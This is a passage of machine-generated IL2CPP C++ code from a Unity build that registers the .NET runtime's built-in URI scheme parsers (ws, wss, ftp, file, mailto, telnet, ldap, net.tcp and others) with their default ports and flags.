* L_21 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_WsUri_9(); NullCheck(L_21); String_t* L_22 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_21, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_23 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_WsUri_9(); NullCheck(L_20); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_20, L_22, L_23, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); int32_t L_24 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_HttpSyntaxFlags_24(); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_25 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_25, _stringLiteralBA2B0DD158763C472A7D7B22AEF6FF6571B9365C, ((int32_t)443), L_24, /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_WssUri_10(L_25); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_26 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_27 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_WssUri_10(); NullCheck(L_27); String_t* L_28 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_27, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_29 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_WssUri_10(); NullCheck(L_26); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_26, L_28, L_29, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_30 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_30, _stringLiteral7616BB87BD05F6439E3672BA1B2BE55D5BEB68B3, ((int32_t)21), ((int32_t)367005533), /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_FtpUri_11(L_30); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_31 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_32 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_FtpUri_11(); NullCheck(L_32); String_t* L_33 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_32, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_34 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_FtpUri_11(); NullCheck(L_31); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_31, L_33, L_34, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); int32_t L_35 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_FileSyntaxFlags_25(); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_36 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_36, _stringLiteral971C419DD609331343DEE105FFFD0F4608DC0BF2, (-1), L_35, /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_FileUri_12(L_36); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_37 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_38 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_FileUri_12(); NullCheck(L_38); String_t* L_39 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_38, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_40 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_FileUri_12(); NullCheck(L_37); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_37, L_39, L_40, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_41 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_41, _stringLiteral4188736A00FBFB506ACA06281ACF338290455C21, ((int32_t)70), ((int32_t)337645405), /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_GopherUri_13(L_41); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_42 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_43 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_GopherUri_13(); NullCheck(L_43); String_t* L_44 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_43, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_45 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_GopherUri_13(); NullCheck(L_42); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_42, L_44, L_45, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_46 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_46, _stringLiteral666948CC54CBC3FC2C70107A835E27C872F476E6, ((int32_t)119), ((int32_t)337645405), /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_NntpUri_14(L_46); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_47 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_48 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_NntpUri_14(); NullCheck(L_48); String_t* L_49 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_48, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_50 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_NntpUri_14(); NullCheck(L_47); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_47, L_49, L_50, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_51 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_51, _stringLiteral3C6BDCDDC94F64BF77DEB306AAE490A90A6FC300, (-1), ((int32_t)268435536), /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_NewsUri_15(L_51); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_52 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_53 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_NewsUri_15(); NullCheck(L_53); String_t* L_54 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_53, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_55 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_NewsUri_15(); NullCheck(L_52); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_52, L_54, L_55, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_56 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_56, _stringLiteralFE710CD089CB0BA74F588270FE079A392B5E9810, ((int32_t)25), ((int32_t)335564796), /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_MailToUri_16(L_56); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_57 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_58 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_MailToUri_16(); NullCheck(L_58); String_t* L_59 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_58, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_60 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_MailToUri_16(); NullCheck(L_57); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_57, L_59, L_60, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_61 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_NewsUri_15(); NullCheck(L_61); int32_t L_62 = L_61->get_m_Flags_2(); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_63 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_63, _stringLiteral48E3462CBEEDD9B70CED95702E2E262CEBA217DA, (-1), L_62, /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_UuidUri_17(L_63); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_64 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_65 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_UuidUri_17(); NullCheck(L_65); String_t* L_66 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_65, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_67 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_UuidUri_17(); NullCheck(L_64); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_64, L_66, L_67, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_68 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_68, _stringLiteral22E9F56882C87C3DA193BE3FE6D8C77FFDAF27BC, ((int32_t)23), ((int32_t)337645405), /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_TelnetUri_18(L_68); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_69 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_70 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_TelnetUri_18(); NullCheck(L_70); String_t* L_71 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_70, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_72 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_TelnetUri_18(); NullCheck(L_69); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_69, L_71, L_72, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_73 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_73, _stringLiteral61A135089EAC561A2FF7CEDEEFB03975BED000F8, ((int32_t)389), ((int32_t)337645565), /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_LdapUri_19(L_73); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_74 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_75 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_LdapUri_19(); NullCheck(L_75); String_t* L_76 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_75, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_77 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_LdapUri_19(); NullCheck(L_74); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_74, L_76, L_77, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_78 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_78, _stringLiteral0765DEEFD5C1509444309BD8D09E7ACA927165F8, ((int32_t)808), ((int32_t)400559737), /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_NetTcpUri_20(L_78); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_79 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_80 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_NetTcpUri_20(); NullCheck(L_80); String_t* L_81 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_80, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_82 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_NetTcpUri_20(); NullCheck(L_79); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_79, L_81, L_82, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_83 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_83, _stringLiteral1F8A1C4B94F61170B94E9FD827F36A60174238C7, (-1), ((int32_t)400559729), /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_NetPipeUri_21(L_83); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_84 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_85 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_NetPipeUri_21(); NullCheck(L_85); String_t* L_86 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_85, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_87 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_NetPipeUri_21(); NullCheck(L_84); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_84, L_86, L_87, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_88 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_88, _stringLiteral5E6A1BC91A4C36E5A0E45B3C8F8A2CF3F48785C5, (-1), ((int32_t)399519697), /*hidden argument*/NULL); 